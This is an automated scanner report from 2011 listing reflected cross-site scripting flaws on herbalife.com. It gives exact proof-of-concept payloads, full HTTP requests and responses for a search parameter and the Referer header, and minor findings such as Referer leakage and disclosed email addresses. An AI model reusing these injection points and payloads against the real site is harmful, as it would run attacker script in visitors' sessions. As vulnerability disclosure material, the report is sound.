herbalife.com, XSS, CWE-79, CAPEC-86, Cross Site Scripting

XSS in herbalife.com | Vulnerability Crawler Report

Report generated by XSS.CX at Mon Jan 03 09:40:16 CST 2011.


Contents

Loading

1. Cross-site scripting (reflected)

1.1. http://www.herbalife.com/ [ctl00%24ctl00%24body%24searchTerm parameter]

1.2. http://www.herbalife.com/search [sp_q parameter]

1.3. http://www.herbalife.com/ [Referer HTTP header]

1.4. http://www.herbalife.com/es [Referer HTTP header]

2. Referer-dependent response

3. Cross-domain Referer leakage

4. Email addresses disclosed

4.1. http://www.herbalife.com/Content/Global/scripts/js/cookieLibrary.js

4.2. http://www.herbalife.com/privacy-policy

4.3. http://www.herbalife.com/sms-help

5. Private IP addresses disclosed

6. Multiple content types specified

7. HTML does not specify charset



1. Cross-site scripting (reflected)  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.herbalife.com/ [ctl00%24ctl00%24body%24searchTerm parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.herbalife.com
Path:   /

Issue detail

The value of the ctl00%24ctl00%24body%24searchTerm request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b28c0"%3balert(1)//f1c93222efd9f82a3 was submitted in the ctl00%24ctl00%24body%24searchTerm parameter. This input was echoed as b28c0";alert(1)//f1c93222efd9f82a3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /?__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMTQ3OTgzODY1N2QYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFGmN0bDAwJGN0bDAwJGJvZHkkYnRuU2VhcmNodP3jZgfG8rtBLsVGPDRQ%2FGUAx%2B4%3D&__EVENTVALIDATION=%2FwEWWQKBwuSOCwLGzNfCDAKLt838BwLO79fMCwLh%2FL0QAo6D4%2BAHAuD%2F%2FeoKAq%2F6kZIEAo6D4%2BAHAouT2qQEAqnVgLMFApjG1OMMAsjR6CICpeyRoQQCovT05wYCvdWcawKq1fyFCwKPmJuXCwK91ejqAwLbqNGiCgLgjf3NCwL6zuPXDwKi9PjnBgL6zp%2FjCQKq1fToBgLwgs%2B6BwKSh%2B26CwKz1cSiDwKi9PznBgL%2B5urmDAKX6OqQDQKl7ImnDALpg%2BKpBgLOtNKQAwKl7ImhBAL6zo%2FjCQL%2Bno7mDgKfjbGRAQKz1fToBgL12J6NBwLX56mUDALO1eDNDwK41eDNDwKl7LWhBAKw1eDNDwKYxvTjDAKx1dzeBQKn%2F8HQAgLYwZvLBALu8bC%2BCQK91ZxrAqjVpPsJAs%2FV0KACAqKArbYHAqXV0KACAuGh4qIOAqTV0KACAr3VnGsC4I2RzAsCqdWAswUCwO3Z5gkCk9D%2FkwICqLuS0AgC8IKDugcCtJCZuwECtNXUnAgC4I2N0gMCmMac6AQCr%2FqRkgQCk9DvkwIC9di6kw8Ct9Wotw8CvcSqwAoC1%2Be1jgQCl%2F%2BFzwICvdWcawKl7NGnDAKM6cm%2BDAKUkMKWBAKn1YTvCgK01YTvCgKLk%2BalBAK91bDUAwLg%2F%2F3qCgKv%2BpGSBAKtx6PEBAKqx4vEBAKg87GOAQK91ZxruBcP7RGjx%2FxJeOsr3EImKrRvpmM%3D&ctl00%24ctl00%24body%24searchTerm=%27b28c0"%3balert(1)//f1c93222efd9f82a3&ctl00%24ctl00%24body%24btnSearch.x=0&ctl00%24ctl00%24body%24btnSearch.y=0&ctl00%24ctl00%24body%24LocaleSelector%24localeSelectDB=http%3A%2F%2Fwww.herbalife.com%2F HTTP/1.1
Host: www.herbalife.com
Proxy-Connection: keep-alive
Referer: http://www.herbalife.com/
Cache-Control: max-age=0
Origin: http://www.herbalife.com
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=3oqdz3axdrblkc55ngn4va45; s_vi=[CS]v1|2690EDE6051D32A1-4000012A00129F22[CE]; forwardLocale=http://www.herbalife.com/; s_cc=true; s_sq=hlherbalifecomprod%2Chlherbalifeglobalprod%3D%2526pid%253DHL%25253ANA%25253AUS%25253AOfficial%252520Site%2526pidt%253D1%2526oid%253Dfunctiononclick%252528event%252529%25257Bjavascript%25253AreturnvalidateSearchEntry%252528%252529%25253B%25257D%2526oidt%253D2%2526ot%253DIMAGE

Response (redirected)

HTTP/1.1 200 OK
Date: Mon, 03 Jan 2011 14:24:34 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 38178


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>
   Herbalife -
...[SNIP]...
rverSecure = "smetrics.herbalife.com";
s.pageName = "HL:NA:US:Search";
s.channel = "Herbalife";
s.prop1 = "HL:NA";
s.prop2 = "HL:NA:US";
s.prop3 = "HL:NA:US:Search";
s.prop6 = "en";
s.prop12 = "null: 'b28c0";alert(1)//f1c93222efd9f82a3";
s.events = "event21";
s.eVar21 = "+1";
s.t();
}
function validateSearchRefine() {
if(trim(document.getElementById('ctl00_ctl00_body_HomeMainContent_searchTermOnResult').value) == '') {
alert(
...[SNIP]...

1.2. http://www.herbalife.com/search [sp_q parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.herbalife.com
Path:   /search

Issue detail

The value of the sp_q request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cd8b3"%3balert(1)//ad36d8f7e5c was submitted in the sp_q parameter. This input was echoed as cd8b3";alert(1)//ad36d8f7e5c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /search?sp_q=cd8b3"%3balert(1)//ad36d8f7e5c HTTP/1.1
Host: www.herbalife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_cc=true; ev5=null%3A%20%27; forwardLocale=http://www.herbalife.com/; s_vi=[CS]v1|2690EDE6051D32A1-4000012A00129F22[CE]; s_sq=%5B%5BB%5D%5D; gpv_p11=HL%3ANA%3AUS%3ASearch; ASP.NET_SessionId=3oqdz3axdrblkc55ngn4va45;

Response

HTTP/1.1 200 OK
Date: Mon, 03 Jan 2011 14:23:32 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 38785


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>
   Herbalife -
...[SNIP]...
erverSecure = "smetrics.herbalife.com";
s.pageName = "HL:NA:US:Search";
s.channel = "Herbalife";
s.prop1 = "HL:NA";
s.prop2 = "HL:NA:US";
s.prop3 = "HL:NA:US:Search";
s.prop6 = "en";
s.prop12 = "null: cd8b3";alert(1)//ad36d8f7e5c";
s.events = "event21";
s.eVar21 = "+1";
s.t();
}
function validateSearchRefine() {
if(trim(document.getElementById('ctl00_ctl00_body_HomeMainContent_searchTermOnResult').value) == '') {
alert(
...[SNIP]...

1.3. http://www.herbalife.com/ [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.herbalife.com
Path:   /

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ca98b"%3balert(1)//e814f8c5ec6 was submitted in the Referer HTTP header. This input was echoed as ca98b";alert(1)//e814f8c5ec6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET / HTTP/1.1
Host: www.herbalife.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=ca98b"%3balert(1)//e814f8c5ec6
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=3oqdz3axdrblkc55ngn4va45; s_cc=true; s_vi=[CS]v1|2690EDE6051D32A1-4000012A00129F22[CE]; s_sq=hlherbalifecomprod%2Chlherbalifeglobalprod%3D%2526pid%253DHL%25253AGLOBAL%252520LANDING%252520PAGE-English%2526pidt%253D1%2526oid%253Djavascript%25253A%252520createCookie%252528%252527http%25253A//www.herbalife.com/%252527%252529%2526ot%253DA; forwardLocale=http://www.herbalife.com/

Response

HTTP/1.1 200 OK
Date: Mon, 03 Jan 2011 14:24:43 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Pragma: no-cache
X-Compressed-By: HttpCompress
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 39359


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>
   Herbalife -
...[SNIP]...
<script type="text/javascript">

function docReady() {

if (readCookie("Paid") == "true")
{
return;
}

var vref= "http://www.google.com/search?hl=en&q=ca98b";alert(1)//e814f8c5ec6";
if (!vref)
{
vref=document.referrer;
}
if (vref && vref.indexOf("?") >
...[SNIP]...

1.4. http://www.herbalife.com/es [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.herbalife.com
Path:   /es

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 83f90"%3balert(1)//8847c0a1ca1 was submitted in the Referer HTTP header. This input was echoed as 83f90";alert(1)//8847c0a1ca1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /es HTTP/1.1
Host: www.herbalife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_cc=true; ev5=null%3A%20%27; forwardLocale=http://www.herbalife.com/; s_vi=[CS]v1|2690EDE6051D32A1-4000012A00129F22[CE]; s_sq=%5B%5BB%5D%5D; gpv_p11=HL%3ANA%3AUS%3ASearch; ASP.NET_SessionId=3oqdz3axdrblkc55ngn4va45;
Referer: http://www.google.com/search?hl=en&q=83f90"%3balert(1)//8847c0a1ca1

Response

HTTP/1.1 200 OK
Date: Mon, 03 Jan 2011 14:24:25 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Pragma: no-cache
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 40828


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>
   Herbalife -
...[SNIP]...
<script type="text/javascript">

function docReady() {

if (readCookie("Paid") == "true")
{
return;
}

var vref= "http://www.google.com/search?hl=en&q=83f90";alert(1)//8847c0a1ca1";
if (!vref)
{
vref=document.referrer;
}
if (vref && vref.indexOf("?") >
...[SNIP]...

2. Referer-dependent response  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.herbalife.com
Path:   /

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defenses against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defenses against malicious input should be employed here as for any other kinds of user-supplied data.

Request 1

GET / HTTP/1.1
Host: www.herbalife.com
Proxy-Connection: keep-alive
Referer: http://www.herbalife.com/global
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=3oqdz3axdrblkc55ngn4va45; s_cc=true; s_vi=[CS]v1|2690EDE6051D32A1-4000012A00129F22[CE]; s_sq=hlherbalifecomprod%2Chlherbalifeglobalprod%3D%2526pid%253DHL%25253AGLOBAL%252520LANDING%252520PAGE-English%2526pidt%253D1%2526oid%253Djavascript%25253A%252520createCookie%252528%252527http%25253A//www.herbalife.com/%252527%252529%2526ot%253DA; forwardLocale=http://www.herbalife.com/

Response 1

HTTP/1.1 200 OK
Date: Mon, 03 Jan 2011 14:22:44 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Pragma: no-cache
X-Compressed-By: HttpCompress
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 39325


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>
   Herbalife -
...[SNIP]...
<script type="text/javascript">

function docReady() {

if (readCookie("Paid") == "true")
{
return;
}

var vref= "http://www.herbalife.com/global";
if (!vref)
{
vref=document.referrer;
}
if (vref && vref.indexOf("?") > -1)
{
document.cookie = "Paid=true; path=/";
return;
}

if (window.location){
var qry = window.location.search;
if (qry && qry.substring(1))
return;
}
if( readCookie("BLOCK_LEAD"))
return;

if (!cookiesEn())
{
return;
}

var glp_region = readCookie("forwardLocale");

if (glp_region) {

if (!vref || ValidLocaleURL(glp_region, "http://www.herbalife.com")) {
if (0) {
Redir302(glp_region);
return;
}
}
}
else {

var jGLPageCode = "http://www.herbalife.com/global";
if (jGLPageCode)
{
if (0) {
Redir302(jGLPageCode);
return;
}
}
}
}

docReady();



</script>

<a id="dref" href="#" style="display:none"></a>

<meta name="keywords" content="herbalife,weight loss,nutrition,business opportunity, make money, work from home,part time job" /><meta name="description" content="Herbalife is a premier nutrition and weight management company. Our products are sold exclusively by a network of 1.9 million independent Distributors around the world." /><link href='/Content/en-US/css/Herbalife/home.css' rel='stylesheet' type='text/css' /><style type="text/css">
   .ctl00_ctl00_body_TopNav_0 { background-color:white;visibility:hidden;display:none;position:absolute;left:0px;top:0px; }
   .ctl00_ctl00_body_TopNav_1 { text-decoration:none; }
   .ctl00_ctl00_body_TopNav_2 { }

</style></head>
<body>
<form name="aspnetForm" method="post" action="" id="aspnetForm">
<div>
<input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="" />
<input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value="" />
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKMTQ3OTgzODY1N2QYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFGmN0bDAwJGN0bDAwJGJvZHkkYnRuU2VhcmNodP3jZgfG8rtBLsVGP
...[SNIP]...

Request 2

GET / HTTP/1.1
Host: www.herbalife.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=3oqdz3axdrblkc55ngn4va45; s_cc=true; s_vi=[CS]v1|2690EDE6051D32A1-4000012A00129F22[CE]; s_sq=hlherbalifecomprod%2Chlherbalifeglobalprod%3D%2526pid%253DHL%25253AGLOBAL%252520LANDING%252520PAGE-English%2526pidt%253D1%2526oid%253Djavascript%25253A%252520createCookie%252528%252527http%25253A//www.herbalife.com/%252527%252529%2526ot%253DA; forwardLocale=http://www.herbalife.com/

Response 2

HTTP/1.1 200 OK
Date: Mon, 03 Jan 2011 14:23:14 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Pragma: no-cache
X-Compressed-By: HttpCompress
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 39294


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>
   Herbalife -
...[SNIP]...
<script type="text/javascript">

function docReady() {

if (readCookie("Paid") == "true")
{
return;
}

var vref= "";
if (!vref)
{
vref=document.referrer;
}
if (vref && vref.indexOf("?") > -1)
{
document.cookie = "Paid=true; path=/";
return;
}

if (window.location){
var qry = window.location.search;
if (qry && qry.substring(1))
return;
}
if( readCookie("BLOCK_LEAD"))
return;

if (!cookiesEn())
{
return;
}

var glp_region = readCookie("forwardLocale");

if (glp_region) {

if (!vref || ValidLocaleURL(glp_region, "http://www.herbalife.com")) {
if (1) {
Redir302(glp_region);
return;
}
}
}
else {

var jGLPageCode = "http://www.herbalife.com/global";
if (jGLPageCode)
{
if (1) {
Redir302(jGLPageCode);
return;
}
}
}
}

docReady();



</script>

<a id="dref" href="#" style="display:none"></a>

<meta name="keywords" content="herbalife,weight loss,nutrition,business opportunity, make money, work from home,part time job" /><meta name="description" content="Herbalife is a premier nutrition and weight management company. Our products are sold exclusively by a network of 1.9 million independent Distributors around the world." /><link href='/Content/en-US/css/Herbalife/home.css' rel='stylesheet' type='text/css' /><style type="text/css">
   .ctl00_ctl00_body_TopNav_0 { background-color:white;visibility:hidden;display:none;position:absolute;left:0px;top:0px; }
   .ctl00_ctl00_body_TopNav_1 { text-decoration:none; }
   .ctl00_ctl00_body_TopNav_2 { }

</style></head>
<body>
<form name="aspnetForm" method="post" action="" id="aspnetForm">
<div>
<input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="" />
<input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value="" />
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKMTQ3OTgzODY1N2QYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFGmN0bDAwJGN0bDAwJGJvZHkkYnRuU2VhcmNodP3jZgfG8rtBLsVGPDRQ/GUAx+4=" />
</div>

<scr
...[SNIP]...

3. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.herbalife.com
Path:   /search

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /search?sp_q=' HTTP/1.1
Host: www.herbalife.com
Proxy-Connection: keep-alive
Referer: http://www.herbalife.com/
Cache-Control: max-age=0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=3oqdz3axdrblkc55ngn4va45; s_vi=[CS]v1|2690EDE6051D32A1-4000012A00129F22[CE]; forwardLocale=http://www.herbalife.com/; s_cc=true; s_sq=hlherbalifecomprod%2Chlherbalifeglobalprod%3D%2526pid%253DHL%25253ANA%25253AUS%25253AOfficial%252520Site%2526pidt%253D1%2526oid%253Dfunctiononclick%252528event%252529%25257Bjavascript%25253AreturnvalidateSearchEntry%252528%252529%25253B%25257D%2526oidt%253D2%2526ot%253DIMAGE

Response

HTTP/1.1 200 OK
Date: Mon, 03 Jan 2011 14:22:33 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 38029


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>
   Herbalife -
...[SNIP]...
<div id="ctl00_ctl00_body_panelSearch" onkeypress="javascript:return WebForm_FireDefaultButton(event, 'ctl00_ctl00_body_btnSearch')">
   
<a id="ctl00_ctl00_body_distributorLoginLink" href="http://www.myherbalife.com/">Distributor Login</a>
...[SNIP]...
</a>
                           <a href="http://www.discovergoodnutrition.com/" class="dropmenudiv_level2" target="_blank">Nutrition Blog</a>
...[SNIP]...
</a>
                           <a href="http://www.herbalifebios.com/" class="dropmenudiv_level2" target="_blank">Executive Bios</a>
...[SNIP]...
<div align="left"><a target="_blank" href="http://www.la.bbb.org/Business-Report/Herbalife-International-of-America-Inc-20585"><img title="Click to verify BBB accreditation and to see a BBB report." border=0 src="/Content/Global/img/icons/bbbsealh2.gif" alt="Click to verify BBB accreditation and to see a BBB report." vspace="1
...[SNIP]...
<td><a href="http://www.dsa.org/ethics/code/" target="_blank"><img src="/Content/Global/img/layout/footer_dsa.jpg" border="0" style="padding-right:20px;_padding-right:0px;" />
...[SNIP]...
<td width="298" align="left" valign="middle" style="font-size:9px " class="printhide" >Herbalife is a Proud Member of the Direct Selling Association and a Signatory to the DSA <a href="http://www.dsa.org/ethics/code/" title="Code of Ethics">Code of Ethics</a>
...[SNIP]...

4. Email addresses disclosed  previous  next
There are 3 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).


4.1. http://www.herbalife.com/Content/Global/scripts/js/cookieLibrary.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.herbalife.com
Path:   /Content/Global/scripts/js/cookieLibrary.js

Issue detail

The following email address was disclosed in the response:

Request

GET /Content/Global/scripts/js/cookieLibrary.js HTTP/1.1
Host: www.herbalife.com
Proxy-Connection: keep-alive
Referer: http://www.herbalife.com/Content/en-us/html/Herbalife/business-opportunity/productleadgen_fragment-home.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=3oqdz3axdrblkc55ngn4va45; s_vi=[CS]v1|2690EDE6051D32A1-4000012A00129F22[CE]; forwardLocale=http://www.herbalife.com/; s_cc=true; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Content-Length: 7181
Content-Type: application/x-javascript
Content-Location: http://www.herbalife.com/Content/Global/scripts/js/cookieLibrary.js
Last-Modified: Fri, 19 Jun 2009 00:14:53 GMT
Accept-Ranges: bytes
ETag: "80fcbbf772f0c91:1622"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Mon, 03 Jan 2011 14:22:23 GMT


//
// Cookie Functions -- "Night of the Living Cookie" Version (25-Jul-96)
//
// Written by: Bill Dortch, hIdaho Design <bdortch@hidaho.com>
// The following functions are released to the pu
...[SNIP]...

4.2. http://www.herbalife.com/privacy-policy  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.herbalife.com
Path:   /privacy-policy

Issue detail

The following email address was disclosed in the response:

Request

GET /privacy-policy HTTP/1.1
Host: www.herbalife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_cc=true; ev5=null%3A%20%27; forwardLocale=http://www.herbalife.com/; s_vi=[CS]v1|2690EDE6051D32A1-4000012A00129F22[CE]; s_sq=%5B%5BB%5D%5D; gpv_p11=HL%3ANA%3AUS%3ASearch; ASP.NET_SessionId=3oqdz3axdrblkc55ngn4va45;

Response

HTTP/1.1 200 OK
Date: Mon, 03 Jan 2011 14:22:58 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Last-Modified: Mon, 03 Jan 2011 02:02:52 GMT
